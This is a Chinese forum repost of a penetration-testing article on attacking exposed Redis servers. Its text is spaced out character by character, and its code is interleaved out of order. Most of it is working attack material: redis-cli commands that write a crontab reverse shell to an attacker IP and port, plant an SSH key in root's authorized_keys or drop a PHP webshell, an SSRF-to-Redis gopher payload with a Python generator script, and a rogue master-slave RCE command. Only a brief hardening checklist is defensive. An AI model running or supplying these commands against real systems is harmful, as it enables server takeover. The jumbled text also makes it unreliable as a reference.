搜索

[20434] 2020-12-29_Redis攻防

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-12-29_Redis攻防 R e d i s 攻 防 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 2 9 编 者 荐 语 ： 真 强 以 下 文 章 来 源 于 P t T e a m   ， 作 者 z e r o 　 简 单 来 说   r e d i s   就 是 一 个 数 据 库 ， 不 过 与 传 统 数 据 库 不 同 的 是   r e d i s   的 数 据 是 存 在 内 存 中 的 ， 所 以 读 写 速 度 非 常 快 ， 因 此   r e d i s   被 广 泛 应 用 于 缓 存 方 向 ， r e d i s 默 认 端 口 是 6 3 7 9 ， 由 于 r e d i s 被 广 泛 使 用 ， 自 然 而 然 安 全 区 域 也 备 受 挑 战 。 计 划 任 务 反 弹 s h e l l r e d i s 写 入 公 钥 利 用 私 钥 登 录 s s h r e d i s 往 w e b 物 理 路 径 写 w e b s h e l l s s r f 通 内 网 r e d i s 反 弹 s h e l l 利 用 R e d i s 主 从 复 制 R E C R e d i s 安 全 配 置 计 划 任 务 反 弹 计 划 任 务 反 弹 s h e l l 在 r e d i s 以 r o o t 权 限 运 行 时 可 以 写 c r o n t a b 来 执 行 命 令 反 弹 s h e l l 。 利 用 条 件 ： 1 .   允 许 异 地 登 录 2 .   r e d i s 存 在 未 授 权 访 问 / 弱 口 令 3 .   安 全 模 式 p r o t e c t e d - m o d e 处 于 关 闭 状 态 利 用 方 法 ： 通 过 未 授 权 访 问 连 接 r e d i s 结 果 ： s u c c e e d ！ P t T e a m   . P t - T e a m 目 前 主 攻 w e b 渗 透 、 网 络 攻 防 ， 分 享 日 常 渗 透 测 试 笔 记 ， 为 响 应 国 家 打 造 网 络 安 全 强 国 而 共 同 努 力 ， 共 同 奋 斗 ！ 创 建 一 个 k e y   x x ， 值 为 反 弹 s h e l l 语 句 ， 直 接 往 当 前 用 户 的 c r o n t a b 里 写 入 反 弹 s h e l l ， 换 行 是 必 不 可 少 的 。 s e t     x x       " n *   *   *   *   *   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 7 . 1 4 1 / 7 7 7 7   0 > & 1 n " 修 改 备 份 目 录 为 l i n u x 计 划 任 务 目 录 c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / 修 改 备 份 文 件 名 为   r o o t c o n f i g   s e t   d b f i l e n a m e   r o o t 以 r o o t 身 体 执 行 计 划 任 务 s a v e
r e d i s 写 入 公 钥 利 用 私 钥 登 录 写 入 公 钥 利 用 私 钥 登 录 s s h 如 果 R e d i s 以 r o o t 身 份 运 行 ， 可 以 给 r o o t 账 户 写 入 S S H 公 钥 文 件 ， 直 接 通 过 S S H 登 录 受 害 服 务 器 。 利 用 条 件 ： 1 .   允 许 异 地 登 录 2 .   R e d i s 服 务 使 用 R O O T 账 号 启 动 3 .   R e d i s 存 在 未 授 权 访 问 / 弱 口 令 4 .   安 全 模 式 p r o t e c t e d - m o d e 处 于 关 闭 状 态 5 .   服 务 器 开 放 了 S S H 服 务 ， 而 且 允 许 使 用 密 钥 登 录 ， 即 可 远 程 写 入 一 个 公 钥 ， 直 接 登 录 远 程 服 务 器 利 用 方 法 ： 本 机 生 成 密 钥 公 钥 进 入 s s h 路 径 ， 防 止 乱 码 导 出 我 们 的 k e y 利 用 R e d i s 导 入 公 钥 到 k e y   x x 到 R e d i s 查 看 k e y   x x 的 值 是 否 为 我 们 导 入 的 私 钥 后 面 同 上 最 后 直 接 利 用 我 们 的 s s h 公 钥 连 接 服 务 器 实 验 结 果 ： s u c c e e d ！ R e d i s 往 往 w e b 物 理 路 径 写 入 物 理 路 径 写 入 w e b s h e l l 当 r e d i s 权 限 不 高 时 ， 并 且 服 务 器 开 着 w e b 服 务 ， 在 r e d i s 有 w e b 目 录 写 权 限 时 ， 可 以 尝 试 往 w e b 路 径 写 w e b s h e l l s s h - k e y g e n   - t   r s a ( e c h o   - e   " n n " ;   c a t   i d _ r s a . p u b ; e c h o   - e   " n n " )   >   k e y . t x t - - p a s s 是 登 录 密 码 无 密 码 可 不 填 c a t   k e y . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 0 . 1 0 8   - - p a s s   p a s s 1 2 3   - x   s e t   x x 利 用 g o p h e r 协 议 反 弹 s h e l l c o n f i g   s e t   d i r   / r o o t / . s s h 设 置 文 件 名 c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s 保 存 S a v e
s s r f 通 内 网 通 内 网 r e d i s 反 弹 反 弹 s h e l l 利 用 s s r f 漏 洞 探 测 内 网 服 务 器 的 端 口 开 放 情 况 探 测 本 地 的 7 0 0 1 端 口 开 放 状 态 （ 当 前 开 放 状 态 ） 本 地 的 7 0 0 1 端 口 关 闭 状 态 发 现 内 网 r e d i s 服 务 W e b l o g i c 的 S S R F 有 一 个 比 较 大 的 特 点 ， 其 虽 然 是 一 个 “ G E T ” 请 求 ， 但 是 我 们 可 以 通 过 传 入 % 0 a % 0 d 来 注 入 换 行 符 ， 而 某 些 服 务 （ 如 r e d i s ） 是 通 过 换 行 符 来 分 隔 每 条 命 令 ， 也 就 说 我 们 可 以 通 过 该 S S R F 攻 击 内 网 中 的 r e d i s 服 务 器 。 实 验 结 果 ： s u c c e e d ！ 利 用 g o p h e r 协 议 反 弹 s h e l l 同 样 设 置 备 份 目 录 位 置 >   c o n f i g   s e t   d i r   / v a r / w w w / h t m l / 设 置 备 份 文 件 名 >   c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p 设 置 k e y   x 值 >   s e t   x   " < ? p h p   p h p i n f o ( ) ; ? > " 保 存 >   s a v e P a y l o a d ： h t t p : / / 1 7 2 . 1 9 . 0 . 2 : 6 3 7 9 / t e s t % 0 D % 0 A % 0 D % 0 A s e t % 2 0 1 % 2 0 % 2 2 % 5 C n % 5 C n % 5 C n % 5 C n 0 - 5 9 % 2 0 0 - 2 3 % 2 0 1 - 3 1 % 2 0 1 - 1 2 % 2 0 0 - 6 % 2 0 r o o t % 2 0 b a s h % 2 0 - c % 2 0 % 2 7 s h % 2 0 - i % 2 0 % 3 E % 2 6 % 2 0 % 2 F d e v % 2 F t c p % 2 F 1 9 2 . 1 6 8 . 1 7 . 1 4 1 % 2 / * g o p h e r 协 议 反 弹 s h e l l 利 用 脚 本 * / i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 7 2 . 1 8 . 0 . 2 "
利 用 利 用 R e d i s 主 从 复 制 主 从 复 制 R E C 在 R e i d s 4 . x 之 后 ， R e d i s 新 增 了 模 块 功 能 ， 通 过 外 部 拓 展 ， 可 以 实 现 在 R e d i s 中 实 现 一 个 新 的 R e d i s 命 令 ， 通 过 写 C 语 言 编 译 并 加 载 恶 意 的 . s o 文 件 ， 达 到 代 码 执 行 的 目 的 。 新 增 模 块 （ 主 从 模 式 ） ， 主 从 模 式 指 使 用 一 个 r e d i s 作 为 主 机 ， 其 他 的 作 为 备 份 机 ， 主 机 从 机 数 据 都 是 一 样 的 ， 从 机 只 负 责 读 ， 主 机 只 负 责 写 。 利 用 条 件 ： 1 .   R e d i s 存 在 未 授 权 访 问 / 弱 口 令 2 .   安 全 模 式 p r o t e c t e d - m o d e 处 于 关 闭 状 态 3 .   允 许 异 地 登 录 利 用 方 法 ： 目 标 r e d i s   i p （ 从 机 ） ： 1 9 2 . 1 6 8 . 1 7 . 1 3 8 攻 击 机 （ 主 机 ） ： 1 9 2 . 1 6 8 . 1 7 . 1 3 0 h t t p s : / / g i t h u b . c o m / T e s t z e r o - w z / A w s o m e - R e d i s - R o g u e - S e r v e r 实 验 结 果 ： s u c c e e d ！ R e d i s 安 全 配 置 安 全 配 置 1 .   使 用 普 通 账 号 启 动 R e d i s 2 .   在 R e d i s 配 置 文 件 设 置 只 允 许 本 地 访 问 3 .   在 R e d i s 配 置 文 件 开 启 保 护 模 式 p r o t e c t e d - m o d e   开 启   （ 默 认 开 启 ） 4 .   在 R e d i s 配 置 文 件 设 置 r e d i s 密 码 r e q u i r e p a s s 5 .   在 R e d i s 配 置 文 件 更 改 R e d i s 默 认 端 口 i p = " 1 7 2 . 1 8 . 0 . 2 " p o r t = " 6 3 7 9 " r e v e r s e _ i p = " 1 9 2 . 1 6 8 . 1 7 . 1 4 1 " r e v e r s e _ p o r t = " 7 7 7 7 " c r o n = " n n n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / % s / % s   0 > & 1 n n n n " % ( r e v e r s e _ i p , r e v e r s e _ p o r t ) f i l e n a m e = " r o o t " p a t h = " / v a r / s p o o l / c r o n " p a s s w d = " " c m d = [ " f l u s h a l l " ,       " s e t   1   { } " . f o r m a t ( c r o n . r e p l a c e ( "   " , " $ { I F S } " ) ) ,       " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) ,       " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) ,       " s a v e "       ] i f   p a s s w d :     c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) :     C R L F = " r n "     r e d i s _ a r r   =   a r r . s p l i t ( "   " )     c m d = " "     c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) )     f o r   x   i n   r e d i s _ a r r :         c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " )     c m d + = C R L F     r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :     f o r   x   i n   c m d :         p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) )     p r i n t   p a y l o a d p y t h o n 3   r e d i s - r o g u e - s e r v e r . p y   - - r h o s t   1 9 2 . 1 6 8 . 1 7 . 1 3 8   - - l h o s t   1 9 2 . 1 6 8 . 1 7 . 1 3 0

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理